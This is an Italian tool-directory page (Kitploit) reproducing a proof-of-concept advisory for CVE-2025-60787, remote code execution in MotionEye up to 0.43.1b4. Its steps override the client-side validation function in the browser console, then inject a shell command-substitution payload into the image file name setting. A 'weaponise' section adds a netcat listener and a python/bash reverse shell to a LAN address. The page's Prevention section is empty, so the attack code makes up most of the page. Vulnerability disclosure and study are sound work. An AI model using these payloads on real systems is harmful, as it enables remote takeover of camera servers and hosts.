Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/prabhatverma47/cve-2025-60787
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingRed Teaming
GitHubprabhatverma47/cve-2025-60787

CVE-2025-60787

Proof-of-concept per CVE-2025-60787, che dimostra l'esecuzione remota di codice in MotionEye <= 0.43.1b4 tramite bypass della validazione lato client e injection di comandi nel nome del file immagine.

Vedi Repository
161 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-60787

CVE-2025-60787 Poc - RCE - MotionEye <= 0.43.1b4
Link originale: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter

MotionEye RCE tramite bypass della validazione lato client

Riepilogo

Durante il test di sicurezza di un'istanza MotionEye in esecuzione in Docker, è stato osservato che la validazione lato client all'interno dell'interfaccia web può essere bypassata. Ciò consente di inviare input arbitrari, inclusi payload che possono innescare l'esecuzione sul container host. Il problema comporta un rischio di esecuzione remota di codice (RCE) se sfruttato.

Versioni interessate: tutte le versioni fino alla 0.43.1b4 inclusa
Stato della patch: nessuna patch disponibile al momento. In questo advisory viene fornita una soluzione alternativa.
Riferimento progetto: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS: 3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10


Ambiente

  • Target: MotionEye in esecuzione in Docker
  • Immagine: ghcr.io/motioneye-project/motioneye:edge
  • Porta esposta: 9999 mappata sulla 8765 del container
  • Credenziali di test: admin / password vuota (predefinita)

Passaggi per la riproduzione

1. Configurazione del container

Eseguire il seguente comando per avviare il download dell'immagine Docker e avviare il container

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
image

2. Verifica della versione

docker logs motioneye | grep "motionEye server"

Risultato: server MotionEye 0.43.1b4 image

3. Accesso al file system

Una volta che il container Docker è in esecuzione, è possibile accedere alla shell del container utilizzando i seguenti comandi

docker exec -it motioneye /bin/bash
ls -la /tmp
image

4. Accesso iniziale

Accedere all'interfaccia web all'indirizzo:
http://127.0.0.1:9999
Login: admin (password vuota)

5. Configurazione della telecamera

Aggiunta di una telecamera di rete RTSP di esempio.
image

6. Tentativo di iniezione

È stato inserito un comando di esecuzione dannosa nel campo "Immagini fisse" > "Nome file immagine", ma è stato riscontrato un errore di validazione lato client.

$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

Bloccato dalla validazione lato client.
image

image

7. Scoperta della validazione lato client

Lo script responsabile della validazione è: /static/js/main.js?v=0.43.1b4, che fa riferimento a /static/js/ui.js?v=0.43.1b4 per implementare le condizioni di validazione.

File: /static/js/main.js?v=0.43.1b4 che fa riferimento a /static/js/ui.js?v=0.43.1b4

function configUiValid() {
    $('div.settings').find('.validator').each(function () { this.validate(); });
    var valid = true;
    $('div.settings input, select').each(function () {
        if (this.invalid) { valid = false; return false; }
    });
    return valid;
}

8. Tecnica di bypass

Sovrascrivendo la funzione configUiValid nella console del browser, tutti i controlli di validazione possono essere bypassati: inserire il seguente frammento nella console del browser (F12 o Ctrl+Shift+I)

configUiValid = function() { 
    return true; 
};
image

9. Esecuzione del payload

Ora il payload può essere inserito direttamente senza alcuna validazione: impostare come segue e applicare le impostazioni

Impostazioni:

  • Modalità di acquisizione = Snapshot a intervalli
  • Intervallo = 10
  • Nome file immagine:
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
image

Applicato → File creato con permessi di root.

image

Impatto: trasformare la RCE in un'arma

produzione di una semplice reverse shell:

Listener:

nc -lvnp 4444
image

Payload iniettato:

$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
image

Risultato: ottenuta shell remota.


Causa principale e flusso

MotionEye è vulnerabile perché prende l'input dell'utente dalla dashboard web e lo scrive direttamente nei file di configurazione di Motion senza verificare la presenza di caratteri pericolosi. Ad esempio, il campo image_file_name nell'interfaccia utente viene inviato al backend (config.py) e salvato in /etc/motioneye/camera-.conf. Quando MotionEye riavvia il servizio Motion (motionctl.start), il processo Motion legge questo file di configurazione. Se il campo picture_filename contiene sintassi di shell come $(touch /tmp/test), Motion lo eseguirà come un comando reale invece di trattarlo come parte del nome del file.

Input non sanificato scritto nei file di configurazione di Motion:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion analizza picture_filename → esegue il payload


Prevenzione

Scarica lo strumento